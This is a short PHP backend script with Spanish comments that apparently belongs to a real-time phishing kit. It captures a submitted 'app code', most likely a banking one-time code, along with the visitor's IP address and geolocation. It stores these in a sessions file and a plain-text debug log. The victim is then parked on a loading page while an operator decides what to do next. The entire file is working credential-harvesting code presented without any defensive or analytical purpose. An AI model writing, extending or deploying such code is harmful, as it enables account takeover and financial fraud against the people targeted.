<?php
session_start();

// ==========================
// Obtener IP real del usuario
// ==========================
function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        return trim($ipList[0]);
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// ==========================
// Obtener IP y ubicación
// ==========================
$user_ip = getUserIP();
$ubicacionData = @file_get_contents("http://ip-api.com/json/{$user_ip}?fields=status,country,regionName,city,lat,lon,query");
$ubicacion = json_decode($ubicacionData, true);

if ($ubicacion && isset($ubicacion['status']) && $ubicacion['status'] === 'success') {
    $location = "{$ubicacion['country']}, {$ubicacion['regionName']}, {$ubicacion['city']}";
} else {
    $location = "Desconocida";
}

// ==========================
// Establecer coban como "empre" automáticamente
// ==========================
if (!isset($_SESSION['coban']) || empty($_SESSION['coban'])) {
    $_SESSION['coban'] = 'empre';
}
$coban = $_SESSION['coban'];

// ==========================
// Variables según coban
// ==========================
$toq = $_POST['toq'] ?? '';

// ==========================
// Obtener sid de la sesión
// ==========================
if (!isset($_SESSION['sid']) || empty($_SESSION['sid'])) {
    // Si no hay sid, redirigir al inicio
    header('Location: index.html');
    exit;
}
$sid = $_SESSION['sid'];

$user_id = $_SESSION['user_id'] ?? uniqid("usr_");
$_SESSION['user_id'] = $user_id;

// ==========================
// Guardar/actualizar sesión en JSON con bloqueo atómico
// ==========================
$sessionsFile = __DIR__ . "/sessions.json";
$emoji_color = '🔵'; // Default

$fp = fopen($sessionsFile, "c+");
if ($fp) {
    if (flock($fp, LOCK_EX)) {
        // Leer archivo dentro del bloqueo
        rewind($fp);
        $content = stream_get_contents($fp);
        $sessions = $content ? json_decode($content, true) : [];
        
        if (!is_array($sessions)) {
            $sessions = [];
        }
        
        // Obtener color de la sesión existente
        $emoji_color = $sessions[$sid]['color'] ?? '🔵';
        
        // Si la sesión ya existe, actualizarla; si no, crearla
        if (!isset($sessions[$sid])) {
            $sessions[$sid] = [
                "status" => "",
                "ip" => $user_ip,
                "location" => $location,
                "coban" => $coban,
                "color" => $emoji_color,
                "user_id" => $user_id,
                "timestamp" => time()
            ];
        }
        
        // Guardar código de app en campo "app" y cambiar status a vacío
        // para que el usuario espere en carga.php hasta que el administrador decida
        if ($toq) {
            $sessions[$sid]['app'] = $toq;
            // Cambiar status a vacío para que espere decisión del administrador
            $sessions[$sid]['status'] = '';
        }
        
        // Actualizar timestamp
        $sessions[$sid]['timestamp'] = time();
        
        // Escribir archivo
        ftruncate($fp, 0);
        rewind($fp);
        fwrite($fp, json_encode($sessions, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
        fflush($fp);
        
        flock($fp, LOCK_UN);
    }
    fclose($fp);
}

// ==========================
// Guardar logs
// ==========================
$logDir = __DIR__ . "/sessions";
if (!is_dir($logDir)) {
    mkdir($logDir, 0755, true);
}

$logMsg = date("Y-m-d H:i:s") . " [$sid] ($user_ip) {$emoji_color}\n";
if ($toq) $logMsg .= "  App Code: $toq\n";
$logMsg .= "\n";

file_put_contents("$logDir/debug.log", $logMsg, FILE_APPEND);

// ==========================
// Redirigir a carga.php
// ==========================
header("Location: carga.php");
exit;
?>
